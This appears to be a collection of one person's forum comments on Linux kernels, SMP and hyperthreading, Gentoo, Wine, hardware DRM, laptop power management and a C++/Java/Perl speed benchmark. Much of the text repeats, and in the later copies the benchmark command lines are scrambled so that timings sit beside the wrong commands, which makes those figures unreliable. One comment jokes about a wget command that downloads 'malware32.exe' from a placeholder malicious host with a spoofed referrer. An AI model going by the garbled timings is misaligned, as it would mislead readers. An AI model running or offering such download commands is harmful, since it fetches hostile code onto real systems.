...my understanding was that late-model kernels put in all the SMP spinlocks and interupt mojo into the single-proc kernel anyway...the vaunted "preemptive kernel patch" that made so much noise in the mid-2.5 series.
Taken from the info section on the SMP option in the kernel config (and I'd hope the kernel guys know what they're talking about!):
If you say N here, the kernel will run on single and multiprocessor machines, but will use only one CPU of a multiprocessor machine. If you say Y here, the kernel will run on many, but not all, singleprocessor machines. On a singleprocessor machine, the kernel will run faster if you say N here.
Also note that I do have the preemption option turned on in this example, but the SMP option still shows up. That and the above info would strongly suggest to me that there is code taken out if you're just running a single processor. I could be wrong, but I don't think preemption and SMP are that closely tied.
Why bother with the odd latency modes? Just have them all run with the same latency/speed. If one application pegs the processor for whatever reason, you still have another to use. I think you're hinting at processor affinities and the sort of thing you'd see in a much larger NUMA setup, but if you can have one processor run with said low latency, why not have both of them doing so?
Re:Are more cores like hyperthreading?
on
AMD Quad Cores, Oh My
·
· Score: 4, Informative
Hyperthreading is, esentially, a hack to make one processor look like two. In an ideal situation, this will yield better performance when running more than one application at the same time, the situation is rarely ideal however. In practice, most single threaded applications will end up running at roughly the same speed. The downside is that some applications will not function correctly, or will run slower with Hyperthreading enabled.
SMP or multiple cores is (obviously) more than one real processor and one will see huge benefits with any application that is multithreaded as well as when running multiple processes. Single threaded processes should never have issues running on an SMP system, though there will be a small loss of speed due to the overhead of SMP (Dual 2 Ghz processors will probably run a single threaded process ~1% slower than a single 2 Ghz processor).
It's more an issue of programs taking advantage of multiple cores or multiple processors than the compiler. Using multiple cores means that a single program must either have multiple concurrent processes or multiple threads, you can't just magically compile that sort of thing in, IPC can be a complex beast. That, or you need to run multiple programs at the same time to take advantage of more than one core at a time.
If that's the case, then it'd be even easier to spoof, just `wget http://www.evilwebsite.com/malware32.exe --referer=http://www.freemoneyforme.com/` ad nauseam.
How do they track this? I guess their malware/adware calls home as soon as it strikes a target. Perhaps there's a possible weakness in this in that you could just keep infecting a VM and then restoring it to a good image again. Think they'd be smart enough to notice something odd about a million infections from the same IP?
You might want to consider that you can't use a FAT(32) partition for a root filesystem under Linux, it doesn't support file permissions. You can mount FAT(32) partitions no problem for sharing data or whatever, but don't try and use one for the root partition, if the installer even lets you, I suspect you'll get many strange errors. Bottom line being to use something like ext3 for/, then mount your FAT32 partition under/mnt/share or something similar.
Note that the original primetest.cpp would not compile with icc initially, I had to include math.h instead of iostream. IBM's Java runtime also does not appear to have a -server option.
real 0m7.809s
user 0m7.700s
sys 0m0.033s
neil@t40-n Documents $ g++ primetest.cpp -o primetest
neil@t40-n Documents $ time./primetest
real 0m2.699s
user 0m2.676s
sys 0m0.007s
neil@t40-n Documents $ time./primetest.pl
real 0m47.928s
user 0m46.207s
sys 0m0.138s
neil@t40-n Documents $
How about you? Sure it's a trivial benchmark, but it definitely shows Java way behind (by a factor of three!) C++ for number crunching. Of course we see Perl well behind both, but it's definitely not meant for number crunching, so no surprise really.
* Periodically, I think about looking at Gentoo (I don't have much reason to go to the effort of switching distros, but it'd be interesting to try installing it sometime I'm just setting up a throwaway Linux box to work on) but I've run into a tremendous amount of idiocy from a segment of the Gentoo user population that has really turned me off it. Also, one of the claims-to-fame of Gentoo is the "we can rebuild everything for more speed" point, which is really a non-issue -- a very, very small number of packages are worth recompiling for a particular architecture, and the degree to which you run into annoying bugs with packages that are expecting a particular padding or whatnot makes it, IMHO, not a worthwhile approach.
I may be somewhat biased as I'm posting from Gentoo currently, but I agree with you that the "recompile everything for speed" theory that some associate with Gentoo doesn't hold much value. At the same time, I think the number of people who actually use Gentoo for this reason are a minority.
You mentioned that some of the people you've encountered using Gentoo have turned you off of it, but in my experiences, the Gentoo Forums are an awesome resource to which I've yet to find an equal.
The main reason I use Gentoo is for portage, it really is that good. I was lured in by quick, painless updates to everything, and it's everything that I expected it to be and more. I run an emerge --sync and emerge -uD world once a day and all my software is updated -- awesome. I was using Mandrake before and was often frustrated that I had to wait ~6 months between software updates (excluding security updates), or I'd have to go out and install all of the new software separately, which IMO is far from ideal. Also, the included software on the CDs for Mandrake is good, but it pales in comparison to what's available in portage. I'm running stable (x86) and have noticed that all of the software is extremely stable (hence the nomenclature I guess) and well tested, which is always a plus. There is still ~x86 for packages still in testing though.
Really, I can't say enough good things about portage. Highly recommended.
It's actually possible to replace some original Windows dlls and libraries with the Wine versions already. Some of them obviously will probably never be able to be replaced, such as the kernel itself, but Wine is surprisingly complete at the moment.
Is this what Microsoft has been waiting for before they release Longhorn? Are they going to require a DRMed processor and motherboard to use Longhorn at all? If so I can see them bullying AMD into pushing this into their processors too. If all of the sudden you couldn't buy a prebuilt Windows computer with an Athlon (because Longhorn wouldn't run on it) that would really hurt AMD.
That would make sense from a Microsoft point of view... No way to secure XP (in a piracy of various sorts sense, the other kind of security is another discussion, albeit with a similar conclusion), so they ship a whole new OS coupled with forced hardware DRM in the hopes that they can use it to curb piracy?
Another question one might have is can you turn the DRM off? I say the answer isn't particularly important, even if you can turn it off now, that doesn't mean you will be able to for "DRM v2" which comes out in 6 months and will be required for all hardware in a year.
The final, most important question, is what are they going to do about Linux? Will Linux still run on these processors without a hitch? Will it be forcefully ousted and really cement the Wintel monopoly? Are they going to make it illegal to run anything but Windows on these processors? Are they going to actually support DRM on Linux in some meaningful way? (odd idea, but it could happen)
Too many questions, not enough answers, I think it's about time to buy some AMD stock.
Highly dependant on the laptop in question. I'm typing this on a Thinkpad T40 and I can tell you that it works perfectly, from suspend/resume using either APM or ACPI to accelerated 3D for the Radeon Mobility 7500. Power management is a charm and I can easily push 3.5-4 hours of battery life using only the standard main battery. This particular laptop didn't come with integrated wireless, so I ended up getting a D-Link DWL-G650 which also works like a charm. Overall I'm extremely happy with this laptop.
Overall, Linux on laptops for power management is at the mercy of the laptop's ACPI implementation, the DSDT tables in particular. However, broken DSDT tables are fixable, thankfully this need not be done by each end user, and could easily be automated by a distro install.
The other sticking point is generally hardware suspend/resume, laptops vary wildly in the quality of their implementation of this. Again, if you have a lemon of a laptop, there's still Software Suspend 2, which most have good success with.
Overall, Linux is ready for most laptops, but it's great to see major vendors putting the polish on for their laptops.
At the lowest level, the PPC architecture is inherently harder to exploit with classic buffer overflows and printf exploits. The PPC system does not keep the current return address on the stack the way that x86 does. PPC chips have an explicit link register for this purpose.
I call BS.
Ever programmed in assembly? I have, we did MIPS assembly in my first year of CS on MIPS processors, and I can tell you that they also have a dedicated register for the return address. Of course, if you ever want to make use of a nested jump (and you probably will, or your compiler will, in a higher level language you might call that a "function"), then you have to push the state of the return address register onto the stack so you don't mangle it, then when you're done you pop it back. So unless you somehow manage to write a program that never jumps (and I think you'll find this extremely difficult for anything non-trivial, it would be harder than not using any functions other than main() in a large C program), your magical register dedicated to the return address won't help you.
Back when the Netscape 8 beta came out, I gave it a shot under wine (not to actually use it, but just for fun) and it installed and worked properly, unless you tried to use the IE rendering engine for something, at which point it crashed, though I didn't want to install IE under wine because I'd never get the sulphur out...
Are you going to refund the money they paid for the 'net connection for that time too? I agree that a network connection is not a right but a privilege, but at the same time, they're still paying for that privilege, what gives you the right to take their money and give nothing in return?
"Why doesn't Microsoft have to pay back for all the damage done due to viruses, worms and trojans even though business/people pay a lot of money for the product that allows it to happen?"
Have you ever read one of their EULAs? If those are considered law, then they're not legally obligated to do anything of the sort. Then again, even if they were, they probably still wouldn't.
Having said that, I can't say that it's the way I think things should be.
Have you tried the export to PDF option yet? It's quite excellent in my experience.
Taken from the info section on the SMP option in the kernel config (and I'd hope the kernel guys know what they're talking about!):
Also note that I do have the preemption option turned on in this example, but the SMP option still shows up. That and the above info would strongly suggest to me that there is code taken out if you're just running a single processor. I could be wrong, but I don't think preemption and SMP are that closely tied.
Why bother with the odd latency modes? Just have them all run with the same latency/speed. If one application pegs the processor for whatever reason, you still have another to use. I think you're hinting at processor affinities and the sort of thing you'd see in a much larger NUMA setup, but if you can have one processor run with said low latency, why not have both of them doing so?
SMP or multiple cores is (obviously) more than one real processor and one will see huge benefits with any application that is multithreaded as well as when running multiple processes. Single threaded processes should never have issues running on an SMP system, though there will be a small loss of speed due to the overhead of SMP (Dual 2 Ghz processors will probably run a single threaded process ~1% slower than a single 2 Ghz processor).
It's more an issue of programs taking advantage of multiple cores or multiple processors than the compiler. Using multiple cores means that a single program must either have multiple concurrent processes or multiple threads, you can't just magically compile that sort of thing in, IPC can be a complex beast. That, or you need to run multiple programs at the same time to take advantage of more than one core at a time.
If that's the case, then it'd be even easier to spoof, just `wget http://www.evilwebsite.com/malware32.exe --referer=http://www.freemoneyforme.com/` ad nauseam.
How do they track this? I guess their malware/adware calls home as soon as it strikes a target. Perhaps there's a possible weakness in this in that you could just keep infecting a VM and then restoring it to a good image again. Think they'd be smart enough to notice something odd about a million infections from the same IP?
You might want to consider that you can't use a FAT(32) partition for a root filesystem under Linux, it doesn't support file permissions. You can mount FAT(32) partitions no problem for sharing data or whatever, but don't try and use one for the root partition, if the installer even lets you, I suspect you'll get many strange errors. Bottom line being to use something like ext3 for /, then mount your FAT32 partition under /mnt/share or something similar.
But "This website was designed for Internet Explorer 6 and higher"!?
I hear that DNF will actually be shipping *with* Sarge...
neil@t40-n Documents $ g++ -O3 primetest.cpp -o primetest ./primetest
neil@t40-n Documents $ time
real 0m54.903s
user 0m54.692s
sys 0m0.062s
neil@t40-n Documents $ time java -server primetest
real 0m49.468s
user 0m49.181s
sys 0m0.082s
Using J2RE 1.4.2 IBM build cxia321420-20040626:
neil@t40-n Documents $ time java primetest
real 1m1.570s
user 0m59.739s
sys 0m0.149s
ICC (optimization flags as suggested here, plain -O2 and -O3 were the same speed as gcc with -O3):
neil@t40-n Documents $ icc -O2 -tpp7 -xW primetest.cpp ./a.out
neil@t40-n Documents $ time
real 0m49.635s
user 0m49.345s
sys 0m0.051s
Note that the original primetest.cpp would not compile with icc initially, I had to include math.h instead of iostream. IBM's Java runtime also does not appear to have a -server option.
neil@t40-n Documents $ time java primetest
real 2m41.851s ./primetest
user 2m41.439s
sys 0m0.144s
neil@t40-n Documents $ time
real 0m59.801s
user 0m59.618s
sys 0m0.056s
Using -O3 for gcc with 10,000,000 instead of 1,000,000:
neil@t40-n Documents $ time ./primetest
real 0m54.883s
user 0m54.755s
sys 0m0.047s
Using int instead of long with Java and 10,000,000:
neil@t40-n Documents $ time java primetest
real 1m6.386s
user 1m5.930s
sys 0m0.128s
Ah hah, well that would explain it. I guess you do learn something new every day. Certainly a far cry from the ~3x difference initially observed.
I didn't bother repeating the perl test with 10,000,000 however...
primetest.cpp
primetest.java
primetest.pl (for fun, because I like perl)
Using Java Blackdown-1.4.2-01, gcc 3.3.5-20050130 and perl 5.8.5 on a 1.3 Ghz Pentium-M, I get these results:
neil@t40-n Documents $ javac primetest.java
neil@t40-n Documents $ time java primetest
real 0m7.809s ./primetest
user 0m7.700s
sys 0m0.033s
neil@t40-n Documents $ g++ primetest.cpp -o primetest
neil@t40-n Documents $ time
real 0m2.699s ./primetest.pl
user 0m2.676s
sys 0m0.007s
neil@t40-n Documents $ time
real 0m47.928s
user 0m46.207s
sys 0m0.138s
neil@t40-n Documents $
How about you? Sure it's a trivial benchmark, but it definitely shows Java way behind (by a factor of three!) C++ for number crunching. Of course we see Perl well behind both, but it's definitely not meant for number crunching, so no surprise really.
I may be somewhat biased as I'm posting from Gentoo currently, but I agree with you that the "recompile everything for speed" theory that some associate with Gentoo doesn't hold much value. At the same time, I think the number of people who actually use Gentoo for this reason are a minority.
You mentioned that some of the people you've encountered using Gentoo have turned you off of it, but in my experiences, the Gentoo Forums are an awesome resource to which I've yet to find an equal.
The main reason I use Gentoo is for portage, it really is that good. I was lured in by quick, painless updates to everything, and it's everything that I expected it to be and more. I run an emerge --sync and emerge -uD world once a day and all my software is updated -- awesome. I was using Mandrake before and was often frustrated that I had to wait ~6 months between software updates (excluding security updates), or I'd have to go out and install all of the new software separately, which IMO is far from ideal. Also, the included software on the CDs for Mandrake is good, but it pales in comparison to what's available in portage. I'm running stable (x86) and have noticed that all of the software is extremely stable (hence the nomenclature I guess) and well tested, which is always a plus. There is still ~x86 for packages still in testing though.
Really, I can't say enough good things about portage. Highly recommended.
It's actually possible to replace some original Windows dlls and libraries with the Wine versions already. Some of them obviously will probably never be able to be replaced, such as the kernel itself, but Wine is surprisingly complete at the moment.
Of course, Doom 3 also runs on Linux.
That would make sense from a Microsoft point of view... No way to secure XP (in a piracy of various sorts sense, the other kind of security is another discussion, albeit with a similar conclusion), so they ship a whole new OS coupled with forced hardware DRM in the hopes that they can use it to curb piracy?
Another question one might have is can you turn the DRM off? I say the answer isn't particularly important, even if you can turn it off now, that doesn't mean you will be able to for "DRM v2" which comes out in 6 months and will be required for all hardware in a year.
The final, most important question, is what are they going to do about Linux? Will Linux still run on these processors without a hitch? Will it be forcefully ousted and really cement the Wintel monopoly? Are they going to make it illegal to run anything but Windows on these processors? Are they going to actually support DRM on Linux in some meaningful way? (odd idea, but it could happen)
Too many questions, not enough answers, I think it's about time to buy some AMD stock.
Overall, Linux on laptops for power management is at the mercy of the laptop's ACPI implementation, the DSDT tables in particular. However, broken DSDT tables are fixable, thankfully this need not be done by each end user, and could easily be automated by a distro install.
The other sticking point is generally hardware suspend/resume, laptops vary wildly in the quality of their implementation of this. Again, if you have a lemon of a laptop, there's still Software Suspend 2, which most have good success with.
Overall, Linux is ready for most laptops, but it's great to see major vendors putting the polish on for their laptops.
I call BS.
Ever programmed in assembly? I have, we did MIPS assembly in my first year of CS on MIPS processors, and I can tell you that they also have a dedicated register for the return address. Of course, if you ever want to make use of a nested jump (and you probably will, or your compiler will, in a higher level language you might call that a "function"), then you have to push the state of the return address register onto the stack so you don't mangle it, then when you're done you pop it back. So unless you somehow manage to write a program that never jumps (and I think you'll find this extremely difficult for anything non-trivial, it would be harder than not using any functions other than main() in a large C program), your magical register dedicated to the return address won't help you.
I don't know about you, but I have trouble waking up for anything, if I'm on time for anything scheduled before about 5 pm, it's a miracle.
Back when the Netscape 8 beta came out, I gave it a shot under wine (not to actually use it, but just for fun) and it installed and worked properly, unless you tried to use the IE rendering engine for something, at which point it crashed, though I didn't want to install IE under wine because I'd never get the sulphur out...
Are you going to refund the money they paid for the 'net connection for that time too? I agree that a network connection is not a right but a privilege, but at the same time, they're still paying for that privilege, what gives you the right to take their money and give nothing in return?
Yes, because I'm sure that posting a direct link the the movie will help relieve the slashdotting...
Emacs is a nice OS and all, all it really needs now is a good text editor.
Have you ever read one of their EULAs? If those are considered law, then they're not legally obligated to do anything of the sort. Then again, even if they were, they probably still wouldn't.
Having said that, I can't say that it's the way I think things should be.